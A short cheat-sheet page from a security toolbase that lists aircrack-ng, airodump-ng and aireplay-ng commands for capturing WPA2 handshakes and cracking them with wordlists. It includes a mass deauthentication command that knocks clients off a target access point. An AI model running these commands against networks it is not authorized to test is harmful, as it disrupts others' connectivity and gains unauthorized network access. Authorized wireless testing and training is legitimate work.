> For the complete documentation index, see [llms.txt](https://ghoulsec.gitbook.io/Toolbase/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ghoulsec.gitbook.io/Toolbase/wireless-attacks/aircrack-ng.md).

# Aircrack-ng

Command to brutefore the WPA Handshakes using Aircrack-ng

```
aircrack-ng -a2 -b [Target BSSID] -w [wordlist] '[cap file]'
```

The above cmd is used to perform a dictionary attack to crack WPA2 encryption on a captured wireless network traffic file. It attempts to recover the WPA2 key using a wordlist.

* `-a2`: Specifies the attack mode for WPA2.
* `-b [Target BSSID]`: Specifies the MAC address (BSSID) of the target access point.
* `-w /home/attacker/Desktop/Wordlist/password.txt`: Specifies the path to the wordlist file to be used for the dictionary attack.

### Setting up the monitor mode adapter

```
ifconfig wlan0 up
airodump-ng wlan0
airodump-ng --bssid "your bssid" --channel "your ch" --write file1 wlan0
aireplay-ng --deauth 100000 -a "your bssid" wlan0
wireshark "your filename.cap"
aircrack-ng "your filename.cap" -w /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://3312899877-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fwq2mVR4al0Q9L9ELuENl%2Fuploads%2FIAM06VDYfzQFu0ytgG4l%2Fimage.png?alt=media&amp;token=472791eb-0ff6-4902-9d72-22361095da23" alt=""><figcaption></figcaption></figure>

#### Cracking hashes stored in a file :&#x20;

```
aircrack-ng [pcap file] (For cracking WEP network)
aircrack-ng -a2 -b [Target BSSID] -w [password_Wordlist.txt] [WP2 PCAP file] (For cracking WPA2 or other networks through the captured .pcap file)
```
